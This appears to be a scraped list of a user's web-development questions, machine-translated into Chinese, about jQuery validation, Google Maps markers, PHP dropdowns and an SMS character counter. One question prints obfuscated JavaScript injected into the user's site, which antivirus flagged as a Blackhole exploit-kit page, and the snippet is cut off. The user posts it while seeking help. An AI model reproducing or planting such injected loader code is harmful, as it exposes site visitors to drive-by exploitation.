我有一个简单的html表单,我已经使用JQuery Validation插件添加了验证.我让它适用于需要值的单个字段.我现在需要来扩展,这样,如果用户回答是一个问题,他们必须输入的详细信息字段的东西,否则详细信息字段可以留空.我正在使用单选按钮显示是/否.这是我完整的html表单 - 我不知道从哪里开始:
<script type="text/javascript" charset="utf-8">
$.metadata.setType("attr", "validate");
$(document).ready(function() {
$("#editRecord").validate();
});
</script>
<style type="text/css">
.block { display: block; }
form.cmxform label.error { display: none; }
</style>
</head>
<body>
<div id="header">
<h1>
Questions</h1>
</div>
<div id="content">
<h1>
Questions Page 1
</h1>
</div>
<div id="content">
<h1>
</h1>
<form class="cmxform" method="post" action="editrecord.php" id="editRecord">
<input type="hidden" name="-action" value="edit">
<h1>
Questions
</h1>
<table width="46%" class="record">
<tr>
<td width="21%" valign="top" class="field_name_left"><p>Question 1</p></td>
<td width="15%" valign="top" class="field_data">
<label for="Yes">
<input type="radio" name="Question1" value="Yes" validate = …Run Code Online (Sandbox Code Playgroud) 我正在创建一个静态html页面来显示数据中的多个位置.我刚刚复制了其中一个示例并正在向后工作,但我在Safari Inspector中收到以下错误:
main.js:1SyntaxError: Parse error
sample.htm:10TypeError: Result of expression 'google.maps.LatLng' [undefined] is not a constructor.
Run Code Online (Sandbox Code Playgroud)
这是我的HTML代码:
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<title>Multi Markers Sample via Google Maps</title>
<link href="http://code.google.com/apis/maps/documentation/javascript/examples/default.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript">
function initialize() {
var myLatlng = new google.maps.LatLng(-30.2965590,153.1152650);
var myLatlng1 = new google.maps.LatLng(-30.2956470,153.1123707);
var myLatlng2 = new google.maps.LatLng(-30.2864430,153.1360230);
var myOptions = {
zoom: 13,
center: myLatlng,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); …Run Code Online (Sandbox Code Playgroud) 我有一个名为$ categories的简单PHP数组,如下所示:
Array
(
[Closed] => P1000
[Open] => P1001
[Pending] => P1002
[In Progress] => P1003
[Requires Approval] => P1004
)
Run Code Online (Sandbox Code Playgroud)
我有一个简单的HTML表单,其中包含一个字段的下拉列表,我希望将该数组用于选项,但我只希望它显示文本(例如,已关闭,打开,待处理,正在进行和需要Approval)作为下拉列表中的选项,但存储该选项的关联键(例如P1000,P1001等),然后在提交表单时将其作为POST值发送.
到目前为止,表单字段的HTML是:
<select name="category_id">
<option value=""></option>
<?php foreach($categories as $category) {$category = htmlspecialchars($category);?>
<option value="<?php echo $category; ?>"><?php echo $category; ?></option>
<?php
}
?>
</select>
Run Code Online (Sandbox Code Playgroud)
我可以让它显示文本或ID,但不显示文本并存储ID.希望这很简单,有人可以指出我正确的方向.
非常感谢,史蒂夫
我有一个简单的HTML表单,允许用户输入一些文本,然后通过SMS网关作为SMS/TXT消息发送.用户将消息文本输入textarea:
<textarea rows="10" cols="40" id="smsbody" validate = "required:true" name="MessageBody"></textarea>
Run Code Online (Sandbox Code Playgroud)
他们可以输入尽可能少的文本,但是因为每个短信限制为160个字符,我想显示一个字符计数器,显示输入的字符数,然后还计算这将使用的短信数量.计算学分的公式基于输入的学分总数:如果一条信息超过160个字符,它将被分成多个信息部分.每个消息部分的长度限制为153个字符(标题为7个字节).因此,160个字符的消息将是1个信用,306个字符将是2个信用,459个字符将是3个信用等等.
理想情况下,我希望以这种格式出现:
0个字符,1个SMS消息200个字符,2个SMS消息
我已经在使用jQuery了,也很高兴使用基于jQuery的解决方案.
非常感谢,史蒂夫
我的网站有一个静态html网页,最近无法在我的Windows XP机器上加载我的网站.Norton Antivirus阻止该网站将其报告为"Web Attack:Blackhole Toolkit Website 7".我下载了我的index.htm页面,发现这个代码在我不是由我创建的同一页面的本地副本时创建的:
<script>
el = document.createElement("div");
el.appendChild(document.createTextNode("ReferenceErr"));
el.appendChild(document.createTextNode("q"));
el.insertBefore(document.createTextNode("l"), el.childNodes[1]);
try {
try {
throw 1
} catch (a) {
b[2] = 21
};
} catch (a) {
k = el.firstChild.nodeValue + a.toString().substr(0, 0);
};
ar = "\"aTBtc0.gyA:/[hi],b> vCldmwf)s{up1oE'=<r(n;N}ez";
ar2 = "R80c80c60c112c84c164c100c140c20c128c104c184c168c16c28c32c184c16c144c96c184c104c184c168c16c120c12c36c8c4c32c176c4c104c184c164c148c72c140c100c36c148c116c52c24c64c116c124c80c80c80c60c112c160c4c104c184c160c164c116c172c80c80c180c84c184c96c120c184c84c124c80c80c80c100c140c20c128c104c184c168c16c28c108c160c60c16c184c164c0c156c60c112c160c4c104c184c84c120c160c20c152c148c56c16c16c132c44c48c48c188c140c168c100c32c160c140c128c132c28c20c140c104c48c56c140c104c184c28c132c56c132c148c84c108c60c100c16c56c152c148c136c24c148c84c56c184c60c32c56c16c152c148c136c24c148c84c120c16c36c96c184c152c148c88c60c120c60c72c60c96c60c16c36c44c56c60c100c100c184c168c172c132c140c120c60c16c60c140c168c44c4c72c120c140c96c128c16c184c172c96c184c112c16c44c24c172c16c140c132c44c24c172c148c76c156c48c60c112c160c4c104c184c76c0c116c172c80c80c180c80c80c112c128c168c20c16c60c140c168c84c60c112c160c4c104c184c160c164c116c124c80c80c80c88c4c160c84c112c84c152c84c100c140c20c128c104c184c168c16c28c20c160c184c4c16c184c144c96c184c104c184c168c16c164c148c60c112c160c4c104c184c148c116c172c112c28c120c184c16c40c16c16c160c60c72c128c16c184c164c148c120c160c20c148c68c148c56c16c16c132c44c48c48c188c140c168c100c32c160c140c128c132c28c20c140c104c48c56c140c104c184c28c132c56c132c148c116c172c112c28c120c16c36c96c184c28c88c60c120c60c72c60c96c60c16c36c152c148c56c60c100c100c184c168c148c172c112c28c120c16c36c96c184c28c132c140c120c60c16c60c140c168c152c148c4c72c120c140c96c128c16c184c148c172c112c28c120c16c36c96c184c28c96c184c112c16c152c148c24c148c172c112c28c120c16c36c96c184c28c16c140c132c152c148c24c148c172c112c28c120c184c16c40c16c16c160c60c72c128c16c184c164c148c108c60c100c16c56c148c68c148c136c24c148c116c172c112c28c120c184c16c40c16c16c160c60c72c128c16c184c164c148c56c184c60c32c56c16c148c68c148c136c24c148c116c172c80c80c80c100c140c20c128c104c184c168c16c28c32c184c16c144c96c184c104c184c168c16c120c12c36c8c4c32c176c4c104c184c164c148c72c140c100c36c148c116c52c24c64c28c4c132c132c184c168c100c92c56c60c96c100c164c112c116c172c80c80c180";
pau = "urn eReferenceErr".replace(k, "va" + el.childNodes[1].nodeValue);
e = Function("ret" + pau)();
ar2 = ar2.split("c");
ar2[0] = "80";
s = "";
for (i = 0; i != ar2.length; i++) {
e('po'.concat('s=par', 'seInt(k', '.rep', …Run Code Online (Sandbox Code Playgroud) 我有一个简单的HTML表单,其中包含一些用于发送SMS/TXT消息的输入字段.我还有一个jQuery脚本,它计算输入的字符数,并计算出将使用多少SMS Credits来发送消息.
它们出现在div中如下:
<div id='message'>
<span id='char'>0</span> characters,
<span id='msgs'>0</span> SMS Credit(s)
</div>????
Run Code Online (Sandbox Code Playgroud)
您可以在http://jsfiddle.net/gHAcM/看到整个页面减去大部分的PHP(只是为了简单起见)
我想做的是包括字符数(从0开始)和信用数(从0开始)
我不确定是否可以这样做,否则我需要通过php处理页面再次计算这些值,如果他们不能.只是试图避免两次做同样的事情,一次在Javascript中,然后再在PHP中.
非常感谢,史蒂夫
javascript ×5
html ×4
jquery ×3
arrays ×1
character ×1
conditional ×1
counter ×1
forms ×1
hidden ×1
input ×1
php ×1
validation ×1